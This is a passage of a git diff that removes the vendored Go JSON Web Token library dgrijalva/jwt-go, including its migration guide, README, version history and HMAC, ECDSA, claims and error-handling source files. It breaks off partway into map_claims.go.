WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - diff --git a/vendor/github.com/dgrijalva/jwt-go/MIGRATION_GUIDE.md b/vendor/github.com/dgrijalva/jwt-go/MIGRATION_GUIDE.md deleted file mode 100644 index 7fc1f793cb..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/MIGRATION_GUIDE.md +++ /dev/null @@ -1,97 +0,0 @@ -## Migration Guide from v2 -> v3 - -Version 3 adds several new, frequently requested features. To do so, it introduces a few breaking changes. We've worked to keep these as minimal as possible. This guide explains the breaking changes and how you can quickly update your code. - -### `Token.Claims` is now an interface type - -The most requested feature from the 2.0 verison of this library was the ability to provide a custom type to the JSON parser for claims. This was implemented by introducing a new interface, `Claims`, to replace `map[string]interface{}`. We also included two concrete implementations of `Claims`: `MapClaims` and `StandardClaims`. - -`MapClaims` is an alias for `map[string]interface{}` with built in validation behavior. It is the default claims type when using `Parse`. The usage is unchanged except you must type cast the claims property. - -The old example for parsing a token looked like this.. - -```go - if token, err := jwt.Parse(tokenString, keyLookupFunc); err == nil { - fmt.Printf("Token for user %v expires %v", token.Claims["user"], token.Claims["exp"]) - } -``` - -is now directly mapped to... - -```go - if token, err := jwt.Parse(tokenString, keyLookupFunc); err == nil { - claims := token.Claims.(jwt.MapClaims) - fmt.Printf("Token for user %v expires %v", claims["user"], claims["exp"]) - } -``` - -`StandardClaims` is designed to be embedded in your custom type. You can supply a custom claims type with the new `ParseWithClaims` function. Here's an example of using a custom claims type. - -```go - type MyCustomClaims struct { - User string - *StandardClaims - } - - if token, err := jwt.ParseWithClaims(tokenString, &MyCustomClaims{}, keyLookupFunc); err == nil { - claims := token.Claims.(*MyCustomClaims) - fmt.Printf("Token for user %v expires %v", claims.User, claims.StandardClaims.ExpiresAt) - } -``` - -### `ParseFromRequest` has been moved - -To keep this library focused on the tokens without becoming overburdened with complex request processing logic, `ParseFromRequest` and its new companion `ParseFromRequestWithClaims` have been moved to a subpackage, `request`. The method signatues have also been augmented to receive a new argument: `Extractor`. - -`Extractors` do the work of picking the token string out of a request. The interface is simple and composable. - -This simple parsing example: - -```go - if token, err := jwt.ParseFromRequest(tokenString, req, keyLookupFunc); err == nil { - fmt.Printf("Token for user %v expires %v", token.Claims["user"], token.Claims["exp"]) - } -``` - -is directly mapped to: - -```go - if token, err := request.ParseFromRequest(req, request.OAuth2Extractor, keyLookupFunc); err == nil { - claims := token.Claims.(jwt.MapClaims) - fmt.Printf("Token for user %v expires %v", claims["user"], claims["exp"]) - } -``` - -There are several concrete `Extractor` types provided for your convenience: - -* `HeaderExtractor` will search a list of headers until one contains content. -* `ArgumentExtractor` will search a list of keys in request query and form arguments until one contains content. -* `MultiExtractor` will try a list of `Extractors` in order until one returns content. -* `AuthorizationHeaderExtractor` will look in the `Authorization` header for a `Bearer` token. -* `OAuth2Extractor` searches the places an OAuth2 token would be specified (per the spec): `Authorization` header and `access_token` argument -* `PostExtractionFilter` wraps an `Extractor`, allowing you to process the content before it's parsed. A simple example is stripping the `Bearer ` text from a header - - -### RSA signing methods no longer accept `[]byte` keys - -Due to a [critical vulnerability](https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/), we've decided the convenience of accepting `[]byte` instead of `rsa.PublicKey` or `rsa.PrivateKey` isn't worth the risk of misuse. - -To replace this behavior, we've added two helper methods: `ParseRSAPrivateKeyFromPEM(key []byte) (*rsa.PrivateKey, error)` and `ParseRSAPublicKeyFromPEM(key []byte) (*rsa.PublicKey, error)`. These are just simple helpers for unpacking PEM encoded PKCS1 and PKCS8 keys. If your keys are encoded any other way, all you need to do is convert them to the `crypto/rsa` package's types. - -```go - func keyLookupFunc(*Token) (interface{}, error) { - // Don't forget to validate the alg is what you expect: - if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { - return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) - } - - // Look up key - key, err := lookupPublicKey(token.Header["kid"]) - if err != nil { - return nil, err - } - - // Unpack key from PEM encoded PKCS8 - return jwt.ParseRSAPublicKeyFromPEM(key) - } -``` diff --git a/vendor/github.com/dgrijalva/jwt-go/README.md b/vendor/github.com/dgrijalva/jwt-go/README.md deleted file mode 100644 index d358d881b8..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/README.md +++ /dev/null @@ -1,100 +0,0 @@ -# jwt-go - -[![Build Status](https://travis-ci.org/dgrijalva/jwt-go.svg?branch=master)](https://travis-ci.org/dgrijalva/jwt-go) -[![GoDoc](https://godoc.org/github.com/dgrijalva/jwt-go?status.svg)](https://godoc.org/github.com/dgrijalva/jwt-go) - -A [go](http://www.golang.org) (or 'golang' for search engine friendliness) implementation of [JSON Web Tokens](http://self-issued.info/docs/draft-ietf-oauth-json-web-token.html) - -**NEW VERSION COMING:** There have been a lot of improvements suggested since the version 3.0.0 released in 2016. I'm working now on cutting two different releases: 3.2.0 will contain any non-breaking changes or enhancements. 4.0.0 will follow shortly which will include breaking changes. See the 4.0.0 milestone to get an idea of what's coming. If you have other ideas, or would like to participate in 4.0.0, now's the time. If you depend on this library and don't want to be interrupted, I recommend you use your dependency mangement tool to pin to version 3. - -**SECURITY NOTICE:** Some older versions of Go have a security issue in the cryotp/elliptic. Recommendation is to upgrade to at least 1.8.3. See issue #216 for more detail. - -**SECURITY NOTICE:** It's important that you [validate the `alg` presented is what you expect](https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/). This library attempts to make it easy to do the right thing by requiring key types match the expected alg, but you should take the extra step to verify it in your usage. See the examples provided. - -## What the heck is a JWT? - -JWT.io has [a great introduction](https://jwt.io/introduction) to JSON Web Tokens. - -In short, it's a signed JSON object that does something useful (for example, authentication). It's commonly used for `Bearer` tokens in Oauth 2. A token is made of three parts, separated by `.`'s. The first two parts are JSON objects, that have been [base64url](http://tools.ietf.org/html/rfc4648) encoded. The last part is the signature, encoded the same way. - -The first part is called the header. It contains the necessary information for verifying the last part, the signature. For example, which encryption method was used for signing and what key was used. - -The part in the middle is the interesting bit. It's called the Claims and contains the actual stuff you care about. Refer to [the RFC](http://self-issued.info/docs/draft-jones-json-web-token.html) for information about reserved keys and the proper way to add your own. - -## What's in the box? - -This library supports the parsing and verification as well as the generation and signing of JWTs. Current supported signing algorithms are HMAC SHA, RSA, RSA-PSS, and ECDSA, though hooks are present for adding your own. - -## Examples - -See [the project documentation](https://godoc.org/github.com/dgrijalva/jwt-go) for examples of usage: - -* [Simple example of parsing and validating a token](https://godoc.org/github.com/dgrijalva/jwt-go#example-Parse--Hmac) -* [Simple example of building and signing a token](https://godoc.org/github.com/dgrijalva/jwt-go#example-New--Hmac) -* [Directory of Examples](https://godoc.org/github.com/dgrijalva/jwt-go#pkg-examples) - -## Extensions - -This library publishes all the necessary components for adding your own signing methods. Simply implement the `SigningMethod` interface and register a factory method using `RegisterSigningMethod`. - -Here's an example of an extension that integrates with the Google App Engine signing tools: https://github.com/someone1/gcp-jwt-go - -## Compliance - -This library was last reviewed to comply with [RTF 7519](http://www.rfc-editor.org/info/rfc7519) dated May 2015 with a few notable differences: - -* In order to protect against accidental use of [Unsecured JWTs](http://self-issued.info/docs/draft-ietf-oauth-json-web-token.html#UnsecuredJWT), tokens using `alg=none` will only be accepted if the constant `jwt.UnsafeAllowNoneSignatureType` is provided as the key. - -## Project Status & Versioning - -This library is considered production ready. Feedback and feature requests are appreciated. The API should be considered stable. There should be very few backwards-incompatible changes outside of major version updates (and only with good reason). - -This project uses [Semantic Versioning 2.0.0](http://semver.org). Accepted pull requests will land on `master`. Periodically, versions will be tagged from `master`. You can find all the releases on [the project releases page](https://github.com/dgrijalva/jwt-go/releases). - -While we try to make it obvious when we make breaking changes, there isn't a great mechanism for pushing announcements out to users. You may want to use this alternative package include: `gopkg.in/dgrijalva/jwt-go.v3`. It will do the right thing WRT semantic versioning. - -**BREAKING CHANGES:*** -* Version 3.0.0 includes _a lot_ of changes from the 2.x line, including a few that break the API. We've tried to break as few things as possible, so there should just be a few type signature changes. A full list of breaking changes is available in `VERSION_HISTORY.md`. See `MIGRATION_GUIDE.md` for more information on updating your code. - -## Usage Tips - -### Signing vs Encryption - -A token is simply a JSON object that is signed by its author. this tells you exactly two things about the data: - -* The author of the token was in the possession of the signing secret -* The data has not been modified since it was signed - -It's important to know that JWT does not provide encryption, which means anyone who has access to the token can read its contents. If you need to protect (encrypt) the data, there is a companion spec, `JWE`, that provides this functionality. JWE is currently outside the scope of this library. - -### Choosing a Signing Method - -There are several signing methods available, and you should probably take the time to learn about the various options before choosing one. The principal design decision is most likely going to be symmetric vs asymmetric. - -Symmetric signing methods, such as HSA, use only a single secret. This is probably the simplest signing method to use since any `[]byte` can be used as a valid secret. They are also slightly computationally faster to use, though this rarely is enough to matter. Symmetric signing methods work the best when both producers and consumers of tokens are trusted, or even the same system. Since the same secret is used to both sign and validate tokens, you can't easily distribute the key for validation. - -Asymmetric signing methods, such as RSA, use different keys for signing and verifying tokens. This makes it possible to produce tokens with a private key, and allow any consumer to access the public key for verification. - -### Signing Methods and Key Types - -Each signing method expects a different object type for its signing keys. See the package documentation for details. Here are the most common ones: - -* The [HMAC signing method](https://godoc.org/github.com/dgrijalva/jwt-go#SigningMethodHMAC) (`HS256`,`HS384`,`HS512`) expect `[]byte` values for signing and validation -* The [RSA signing method](https://godoc.org/github.com/dgrijalva/jwt-go#SigningMethodRSA) (`RS256`,`RS384`,`RS512`) expect `*rsa.PrivateKey` for signing and `*rsa.PublicKey` for validation -* The [ECDSA signing method](https://godoc.org/github.com/dgrijalva/jwt-go#SigningMethodECDSA) (`ES256`,`ES384`,`ES512`) expect `*ecdsa.PrivateKey` for signing and `*ecdsa.PublicKey` for validation - -### JWT and OAuth - -It's worth mentioning that OAuth and JWT are not the same thing. A JWT token is simply a signed JSON object. It can be used anywhere such a thing is useful. There is some confusion, though, as JWT is the most common type of bearer token used in OAuth2 authentication. - -Without going too far down the rabbit hole, here's a description of the interaction of these technologies: - -* OAuth is a protocol for allowing an identity provider to be separate from the service a user is logging in to. For example, whenever you use Facebook to log into a different service (Yelp, Spotify, etc), you are using OAuth. -* OAuth defines several options for passing around authentication data. One popular method is called a "bearer token". A bearer token is simply a string that _should_ only be held by an authenticated user. Thus, simply presenting this token proves your identity. You can probably derive from here why a JWT might make a good bearer token. -* Because bearer tokens are used for authentication, it's important they're kept secret. This is why transactions that use bearer tokens typically happen over SSL. - -## More - -Documentation can be found [on godoc.org](http://godoc.org/github.com/dgrijalva/jwt-go). - -The command line utility included in this project (cmd/jwt) provides a straightforward example of token creation and parsing as well as a useful tool for debugging your own integration. You'll also find several implementation examples in the documentation. diff --git a/vendor/github.com/dgrijalva/jwt-go/VERSION_HISTORY.md b/vendor/github.com/dgrijalva/jwt-go/VERSION_HISTORY.md deleted file mode 100644 index 6370298313..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/VERSION_HISTORY.md +++ /dev/null @@ -1,118 +0,0 @@ -## `jwt-go` Version History - -#### 3.2.0 - -* Added method `ParseUnverified` to allow users to split up the tasks of parsing and validation -* HMAC signing method returns `ErrInvalidKeyType` instead of `ErrInvalidKey` where appropriate -* Added options to `request.ParseFromRequest`, which allows for an arbitrary list of modifiers to parsing behavior. Initial set include `WithClaims` and `WithParser`. Existing usage of this function will continue to work as before. -* Deprecated `ParseFromRequestWithClaims` to simplify API in the future. - -#### 3.1.0 - -* Improvements to `jwt` command line tool -* Added `SkipClaimsValidation` option to `Parser` -* Documentation updates - -#### 3.0.0 - -* **Compatibility Breaking Changes**: See MIGRATION_GUIDE.md for tips on updating your code - * Dropped support for `[]byte` keys when using RSA signing methods. This convenience feature could contribute to security vulnerabilities involving mismatched key types with signing methods. - * `ParseFromRequest` has been moved to `request` subpackage and usage has changed - * The `Claims` property on `Token` is now type `Claims` instead of `map[string]interface{}`. The default value is type `MapClaims`, which is an alias to `map[string]interface{}`. This makes it possible to use a custom type when decoding claims. -* Other Additions and Changes - * Added `Claims` interface type to allow users to decode the claims into a custom type - * Added `ParseWithClaims`, which takes a third argument of type `Claims`. Use this function instead of `Parse` if you have a custom type you'd like to decode into. - * Dramatically improved the functionality and flexibility of `ParseFromRequest`, which is now in the `request` subpackage - * Added `ParseFromRequestWithClaims` which is the `FromRequest` equivalent of `ParseWithClaims` - * Added new interface type `Extractor`, which is used for extracting JWT strings from http requests. Used with `ParseFromRequest` and `ParseFromRequestWithClaims`. - * Added several new, more specific, validation errors to error type bitmask - * Moved examples from README to executable example files - * Signing method registry is now thread safe - * Added new property to `ValidationError`, which contains the raw error returned by calls made by parse/verify (such as those returned by keyfunc or json parser) - -#### 2.7.0 - -This will likely be the last backwards compatible release before 3.0.0, excluding essential bug fixes. - -* Added new option `-show` to the `jwt` command that will just output the decoded token without verifying -* Error text for expired tokens includes how long it's been expired -* Fixed incorrect error returned from `ParseRSAPublicKeyFromPEM` -* Documentation updates - -#### 2.6.0 - -* Exposed inner error within ValidationError -* Fixed validation errors when using UseJSONNumber flag -* Added several unit tests - -#### 2.5.0 - -* Added support for signing method none. You shouldn't use this. The API tries to make this clear. -* Updated/fixed some documentation -* Added more helpful error message when trying to parse tokens that begin with `BEARER ` - -#### 2.4.0 - -* Added new type, Parser, to allow for configuration of various parsing parameters - * You can now specify a list of valid signing methods. Anything outside this set will be rejected. - * You can now opt to use the `json.Number` type instead of `float64` when parsing token JSON -* Added support for [Travis CI](https://travis-ci.org/dgrijalva/jwt-go) -* Fixed some bugs with ECDSA parsing - -#### 2.3.0 - -* Added support for ECDSA signing methods -* Added support for RSA PSS signing methods (requires go v1.4) - -#### 2.2.0 - -* Gracefully handle a `nil` `Keyfunc` being passed to `Parse`. Result will now be the parsed token and an error, instead of a panic. - -#### 2.1.0 - -Backwards compatible API change that was missed in 2.0.0. - -* The `SignedString` method on `Token` now takes `interface{}` instead of `[]byte` - -#### 2.0.0 - -There were two major reasons for breaking backwards compatibility with this update. The first was a refactor required to expand the width of the RSA and HMAC-SHA signing implementations. There will likely be no required code changes to support this change. - -The second update, while unfortunately requiring a small change in integration, is required to open up this library to other signing methods. Not all keys used for all signing methods have a single standard on-disk representation. Requiring `[]byte` as the type for all keys proved too limiting. Additionally, this implementation allows for pre-parsed tokens to be reused, which might matter in an application that parses a high volume of tokens with a small set of keys. Backwards compatibilty has been maintained for passing `[]byte` to the RSA signing methods, but they will also accept `*rsa.PublicKey` and `*rsa.PrivateKey`. - -It is likely the only integration change required here will be to change `func(t *jwt.Token) ([]byte, error)` to `func(t *jwt.Token) (interface{}, error)` when calling `Parse`. - -* **Compatibility Breaking Changes** - * `SigningMethodHS256` is now `*SigningMethodHMAC` instead of `type struct` - * `SigningMethodRS256` is now `*SigningMethodRSA` instead of `type struct` - * `KeyFunc` now returns `interface{}` instead of `[]byte` - * `SigningMethod.Sign` now takes `interface{}` instead of `[]byte` for the key - * `SigningMethod.Verify` now takes `interface{}` instead of `[]byte` for the key -* Renamed type `SigningMethodHS256` to `SigningMethodHMAC`. Specific sizes are now just instances of this type. - * Added public package global `SigningMethodHS256` - * Added public package global `SigningMethodHS384` - * Added public package global `SigningMethodHS512` -* Renamed type `SigningMethodRS256` to `SigningMethodRSA`. Specific sizes are now just instances of this type. - * Added public package global `SigningMethodRS256` - * Added public package global `SigningMethodRS384` - * Added public package global `SigningMethodRS512` -* Moved sample private key for HMAC tests from an inline value to a file on disk. Value is unchanged. -* Refactored the RSA implementation to be easier to read -* Exposed helper methods `ParseRSAPrivateKeyFromPEM` and `ParseRSAPublicKeyFromPEM` - -#### 1.0.2 - -* Fixed bug in parsing public keys from certificates -* Added more tests around the parsing of keys for RS256 -* Code refactoring in RS256 implementation. No functional changes - -#### 1.0.1 - -* Fixed panic if RS256 signing method was passed an invalid key - -#### 1.0.0 - -* First versioned release -* API stabilized -* Supports creating, signing, parsing, and validating JWT tokens -* Supports RS256 and HS256 signing methods \ No newline at end of file diff --git a/vendor/github.com/dgrijalva/jwt-go/claims.go b/vendor/github.com/dgrijalva/jwt-go/claims.go deleted file mode 100644 index f0228f02e0..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/claims.go +++ /dev/null @@ -1,134 +0,0 @@ -package jwt - -import ( - "crypto/subtle" - "fmt" - "time" -) - -// For a type to be a Claims object, it must just have a Valid method that determines -// if the token is invalid for any supported reason -type Claims interface { - Valid() error -} - -// Structured version of Claims Section, as referenced at -// https://tools.ietf.org/html/rfc7519#section-4.1 -// See examples for how to use this with your own claim types -type StandardClaims struct { - Audience string `json:"aud,omitempty"` - ExpiresAt int64 `json:"exp,omitempty"` - Id string `json:"jti,omitempty"` - IssuedAt int64 `json:"iat,omitempty"` - Issuer string `json:"iss,omitempty"` - NotBefore int64 `json:"nbf,omitempty"` - Subject string `json:"sub,omitempty"` -} - -// Validates time based claims "exp, iat, nbf". -// There is no accounting for clock skew. -// As well, if any of the above claims are not in the token, it will still -// be considered a valid claim. -func (c StandardClaims) Valid() error { - vErr := new(ValidationError) - now := TimeFunc().Unix() - - // The claims below are optional, by default, so if they are set to the - // default value in Go, let's not fail the verification for them. - if c.VerifyExpiresAt(now, false) == false { - delta := time.Unix(now, 0).Sub(time.Unix(c.ExpiresAt, 0)) - vErr.Inner = fmt.Errorf("token is expired by %v", delta) - vErr.Errors |= ValidationErrorExpired - } - - if c.VerifyIssuedAt(now, false) == false { - vErr.Inner = fmt.Errorf("Token used before issued") - vErr.Errors |= ValidationErrorIssuedAt - } - - if c.VerifyNotBefore(now, false) == false { - vErr.Inner = fmt.Errorf("token is not valid yet") - vErr.Errors |= ValidationErrorNotValidYet - } - - if vErr.valid() { - return nil - } - - return vErr -} - -// Compares the aud claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (c *StandardClaims) VerifyAudience(cmp string, req bool) bool { - return verifyAud(c.Audience, cmp, req) -} - -// Compares the exp claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (c *StandardClaims) VerifyExpiresAt(cmp int64, req bool) bool { - return verifyExp(c.ExpiresAt, cmp, req) -} - -// Compares the iat claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (c *StandardClaims) VerifyIssuedAt(cmp int64, req bool) bool { - return verifyIat(c.IssuedAt, cmp, req) -} - -// Compares the iss claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (c *StandardClaims) VerifyIssuer(cmp string, req bool) bool { - return verifyIss(c.Issuer, cmp, req) -} - -// Compares the nbf claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (c *StandardClaims) VerifyNotBefore(cmp int64, req bool) bool { - return verifyNbf(c.NotBefore, cmp, req) -} - -// ----- helpers - -func verifyAud(aud string, cmp string, required bool) bool { - if aud == "" { - return !required - } - if subtle.ConstantTimeCompare([]byte(aud), []byte(cmp)) != 0 { - return true - } else { - return false - } -} - -func verifyExp(exp int64, now int64, required bool) bool { - if exp == 0 { - return !required - } - return now <= exp -} - -func verifyIat(iat int64, now int64, required bool) bool { - if iat == 0 { - return !required - } - return now >= iat -} - -func verifyIss(iss string, cmp string, required bool) bool { - if iss == "" { - return !required - } - if subtle.ConstantTimeCompare([]byte(iss), []byte(cmp)) != 0 { - return true - } else { - return false - } -} - -func verifyNbf(nbf int64, now int64, required bool) bool { - if nbf == 0 { - return !required - } - return now >= nbf -} diff --git a/vendor/github.com/dgrijalva/jwt-go/doc.go b/vendor/github.com/dgrijalva/jwt-go/doc.go deleted file mode 100644 index a86dc1a3b3..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/doc.go +++ /dev/null @@ -1,4 +0,0 @@ -// Package jwt is a Go implementation of JSON Web Tokens: http://self-issued.info/docs/draft-jones-json-web-token.html -// -// See README.md for more info. -package jwt diff --git a/vendor/github.com/dgrijalva/jwt-go/ecdsa.go b/vendor/github.com/dgrijalva/jwt-go/ecdsa.go deleted file mode 100644 index f977381240..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/ecdsa.go +++ /dev/null @@ -1,148 +0,0 @@ -package jwt - -import ( - "crypto" - "crypto/ecdsa" - "crypto/rand" - "errors" - "math/big" -) - -var ( - // Sadly this is missing from crypto/ecdsa compared to crypto/rsa - ErrECDSAVerification = errors.New("crypto/ecdsa: verification error") -) - -// Implements the ECDSA family of signing methods signing methods -// Expects *ecdsa.PrivateKey for signing and *ecdsa.PublicKey for verification -type SigningMethodECDSA struct { - Name string - Hash crypto.Hash - KeySize int - CurveBits int -} - -// Specific instances for EC256 and company -var ( - SigningMethodES256 *SigningMethodECDSA - SigningMethodES384 *SigningMethodECDSA - SigningMethodES512 *SigningMethodECDSA -) - -func init() { - // ES256 - SigningMethodES256 = &SigningMethodECDSA{"ES256", crypto.SHA256, 32, 256} - RegisterSigningMethod(SigningMethodES256.Alg(), func() SigningMethod { - return SigningMethodES256 - }) - - // ES384 - SigningMethodES384 = &SigningMethodECDSA{"ES384", crypto.SHA384, 48, 384} - RegisterSigningMethod(SigningMethodES384.Alg(), func() SigningMethod { - return SigningMethodES384 - }) - - // ES512 - SigningMethodES512 = &SigningMethodECDSA{"ES512", crypto.SHA512, 66, 521} - RegisterSigningMethod(SigningMethodES512.Alg(), func() SigningMethod { - return SigningMethodES512 - }) -} - -func (m *SigningMethodECDSA) Alg() string { - return m.Name -} - -// Implements the Verify method from SigningMethod -// For this verify method, key must be an ecdsa.PublicKey struct -func (m *SigningMethodECDSA) Verify(signingString, signature string, key interface{}) error { - var err error - - // Decode the signature - var sig []byte - if sig, err = DecodeSegment(signature); err != nil { - return err - } - - // Get the key - var ecdsaKey *ecdsa.PublicKey - switch k := key.(type) { - case *ecdsa.PublicKey: - ecdsaKey = k - default: - return ErrInvalidKeyType - } - - if len(sig) != 2*m.KeySize { - return ErrECDSAVerification - } - - r := big.NewInt(0).SetBytes(sig[:m.KeySize]) - s := big.NewInt(0).SetBytes(sig[m.KeySize:]) - - // Create hasher - if !m.Hash.Available() { - return ErrHashUnavailable - } - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - // Verify the signature - if verifystatus := ecdsa.Verify(ecdsaKey, hasher.Sum(nil), r, s); verifystatus == true { - return nil - } else { - return ErrECDSAVerification - } -} - -// Implements the Sign method from SigningMethod -// For this signing method, key must be an ecdsa.PrivateKey struct -func (m *SigningMethodECDSA) Sign(signingString string, key interface{}) (string, error) { - // Get the key - var ecdsaKey *ecdsa.PrivateKey - switch k := key.(type) { - case *ecdsa.PrivateKey: - ecdsaKey = k - default: - return "", ErrInvalidKeyType - } - - // Create the hasher - if !m.Hash.Available() { - return "", ErrHashUnavailable - } - - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - // Sign the string and return r, s - if r, s, err := ecdsa.Sign(rand.Reader, ecdsaKey, hasher.Sum(nil)); err == nil { - curveBits := ecdsaKey.Curve.Params().BitSize - - if m.CurveBits != curveBits { - return "", ErrInvalidKey - } - - keyBytes := curveBits / 8 - if curveBits%8 > 0 { - keyBytes += 1 - } - - // We serialize the outpus (r and s) into big-endian byte arrays and pad - // them with zeros on the left to make sure the sizes work out. Both arrays - // must be keyBytes long, and the output must be 2*keyBytes long. - rBytes := r.Bytes() - rBytesPadded := make([]byte, keyBytes) - copy(rBytesPadded[keyBytes-len(rBytes):], rBytes) - - sBytes := s.Bytes() - sBytesPadded := make([]byte, keyBytes) - copy(sBytesPadded[keyBytes-len(sBytes):], sBytes) - - out := append(rBytesPadded, sBytesPadded...) - - return EncodeSegment(out), nil - } else { - return "", err - } -} diff --git a/vendor/github.com/dgrijalva/jwt-go/ecdsa_utils.go b/vendor/github.com/dgrijalva/jwt-go/ecdsa_utils.go deleted file mode 100644 index d19624b726..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/ecdsa_utils.go +++ /dev/null @@ -1,67 +0,0 @@ -package jwt - -import ( - "crypto/ecdsa" - "crypto/x509" - "encoding/pem" - "errors" -) - -var ( - ErrNotECPublicKey = errors.New("Key is not a valid ECDSA public key") - ErrNotECPrivateKey = errors.New("Key is not a valid ECDSA private key") -) - -// Parse PEM encoded Elliptic Curve Private Key Structure -func ParseECPrivateKeyFromPEM(key []byte) (*ecdsa.PrivateKey, error) { - var err error - - // Parse PEM block - var block *pem.Block - if block, _ = pem.Decode(key); block == nil { - return nil, ErrKeyMustBePEMEncoded - } - - // Parse the key - var parsedKey interface{} - if parsedKey, err = x509.ParseECPrivateKey(block.Bytes); err != nil { - return nil, err - } - - var pkey *ecdsa.PrivateKey - var ok bool - if pkey, ok = parsedKey.(*ecdsa.PrivateKey); !ok { - return nil, ErrNotECPrivateKey - } - - return pkey, nil -} - -// Parse PEM encoded PKCS1 or PKCS8 public key -func ParseECPublicKeyFromPEM(key []byte) (*ecdsa.PublicKey, error) { - var err error - - // Parse PEM block - var block *pem.Block - if block, _ = pem.Decode(key); block == nil { - return nil, ErrKeyMustBePEMEncoded - } - - // Parse the key - var parsedKey interface{} - if parsedKey, err = x509.ParsePKIXPublicKey(block.Bytes); err != nil { - if cert, err := x509.ParseCertificate(block.Bytes); err == nil { - parsedKey = cert.PublicKey - } else { - return nil, err - } - } - - var pkey *ecdsa.PublicKey - var ok bool - if pkey, ok = parsedKey.(*ecdsa.PublicKey); !ok { - return nil, ErrNotECPublicKey - } - - return pkey, nil -} diff --git a/vendor/github.com/dgrijalva/jwt-go/errors.go b/vendor/github.com/dgrijalva/jwt-go/errors.go deleted file mode 100644 index 1c93024aad..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/errors.go +++ /dev/null @@ -1,59 +0,0 @@ -package jwt - -import ( - "errors" -) - -// Error constants -var ( - ErrInvalidKey = errors.New("key is invalid") - ErrInvalidKeyType = errors.New("key is of invalid type") - ErrHashUnavailable = errors.New("the requested hash function is unavailable") -) - -// The errors that might occur when parsing and validating a token -const ( - ValidationErrorMalformed uint32 = 1 << iota // Token is malformed - ValidationErrorUnverifiable // Token could not be verified because of signing problems - ValidationErrorSignatureInvalid // Signature validation failed - - // Standard Claim validation errors - ValidationErrorAudience // AUD validation failed - ValidationErrorExpired // EXP validation failed - ValidationErrorIssuedAt // IAT validation failed - ValidationErrorIssuer // ISS validation failed - ValidationErrorNotValidYet // NBF validation failed - ValidationErrorId // JTI validation failed - ValidationErrorClaimsInvalid // Generic claims validation error -) - -// Helper for constructing a ValidationError with a string error message -func NewValidationError(errorText string, errorFlags uint32) *ValidationError { - return &ValidationError{ - text: errorText, - Errors: errorFlags, - } -} - -// The error from Parse if token is not valid -type ValidationError struct { - Inner error // stores the error returned by external dependencies, i.e.: KeyFunc - Errors uint32 // bitfield. see ValidationError... constants - text string // errors that do not have a valid error just have text -} - -// Validation error is an error type -func (e ValidationError) Error() string { - if e.Inner != nil { - return e.Inner.Error() - } else if e.text != "" { - return e.text - } else { - return "token is invalid" - } -} - -// No errors -func (e *ValidationError) valid() bool { - return e.Errors == 0 -} diff --git a/vendor/github.com/dgrijalva/jwt-go/hmac.go b/vendor/github.com/dgrijalva/jwt-go/hmac.go deleted file mode 100644 index addbe5d401..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/hmac.go +++ /dev/null @@ -1,95 +0,0 @@ -package jwt - -import ( - "crypto" - "crypto/hmac" - "errors" -) - -// Implements the HMAC-SHA family of signing methods signing methods -// Expects key type of []byte for both signing and validation -type SigningMethodHMAC struct { - Name string - Hash crypto.Hash -} - -// Specific instances for HS256 and company -var ( - SigningMethodHS256 *SigningMethodHMAC - SigningMethodHS384 *SigningMethodHMAC - SigningMethodHS512 *SigningMethodHMAC - ErrSignatureInvalid = errors.New("signature is invalid") -) - -func init() { - // HS256 - SigningMethodHS256 = &SigningMethodHMAC{"HS256", crypto.SHA256} - RegisterSigningMethod(SigningMethodHS256.Alg(), func() SigningMethod { - return SigningMethodHS256 - }) - - // HS384 - SigningMethodHS384 = &SigningMethodHMAC{"HS384", crypto.SHA384} - RegisterSigningMethod(SigningMethodHS384.Alg(), func() SigningMethod { - return SigningMethodHS384 - }) - - // HS512 - SigningMethodHS512 = &SigningMethodHMAC{"HS512", crypto.SHA512} - RegisterSigningMethod(SigningMethodHS512.Alg(), func() SigningMethod { - return SigningMethodHS512 - }) -} - -func (m *SigningMethodHMAC) Alg() string { - return m.Name -} - -// Verify the signature of HSXXX tokens. Returns nil if the signature is valid. -func (m *SigningMethodHMAC) Verify(signingString, signature string, key interface{}) error { - // Verify the key is the right type - keyBytes, ok := key.([]byte) - if !ok { - return ErrInvalidKeyType - } - - // Decode signature, for comparison - sig, err := DecodeSegment(signature) - if err != nil { - return err - } - - // Can we use the specified hashing method? - if !m.Hash.Available() { - return ErrHashUnavailable - } - - // This signing method is symmetric, so we validate the signature - // by reproducing the signature from the signing string and key, then - // comparing that against the provided signature. - hasher := hmac.New(m.Hash.New, keyBytes) - hasher.Write([]byte(signingString)) - if !hmac.Equal(sig, hasher.Sum(nil)) { - return ErrSignatureInvalid - } - - // No validation errors. Signature is good. - return nil -} - -// Implements the Sign method from SigningMethod for this signing method. -// Key must be []byte -func (m *SigningMethodHMAC) Sign(signingString string, key interface{}) (string, error) { - if keyBytes, ok := key.([]byte); ok { - if !m.Hash.Available() { - return "", ErrHashUnavailable - } - - hasher := hmac.New(m.Hash.New, keyBytes) - hasher.Write([]byte(signingString)) - - return EncodeSegment(hasher.Sum(nil)), nil - } - - return "", ErrInvalidKeyType -} diff --git a/vendor/github.com/dgrijalva/jwt-go/map_claims.go b/vendor/github.com/dgrijalva/jwt-go/map_claims.go deleted file mode 100644 index 291213c460..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/map_claims.go +++ /dev/null @@ -1,94 +0,0 @@ -package jwt - -import ( - "encoding/json" - "errors" - // "fmt" 